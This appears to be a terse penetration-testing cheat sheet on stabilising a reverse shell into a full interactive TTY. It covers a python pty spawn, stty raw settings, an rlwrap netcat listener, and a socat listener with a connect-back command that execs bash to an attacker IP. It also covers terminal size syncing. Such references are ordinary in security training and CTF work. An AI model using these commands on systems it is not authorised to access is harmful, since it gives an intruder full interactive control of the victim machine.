TTY
TTY
Python (Linux)
Start bash shell via python
python -c 'import pty; pty.spawn("/bin/bash")'Gain access to term commands (such as
clear)
export TERM=xtermEnable tab autocompletion, arrow keys, CTRL + C to kill processes (instead of shell)
^Z
stty raw -echo; fgrlwrap (Linux & Windows)
Enables history, tab autocompletion and arrow keys
rlwrap nc -nlvp <port>(linux only) Further stabilize shell (e.g. for CTRL+C)
^Z
stty raw -echo; fgSocat (Linux)
Download binaries and transfer to target. https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/socat
Listener
socat TCP-L:<port> FILE:`tty`,raw,echo=0Connect
socat TCP:<attacker-ip>:<attacker-port> EXEC:"bash -li",pty,stderr,sigint,setsid,saneTerminal configuration
Try to sync the terminal with the host, to ensure proper linebreaks etc.
Get info (attacker machine)
stty -aConfigure (target machine)
export TERM=xterm
stty rows <rows> columns <cols>Last updated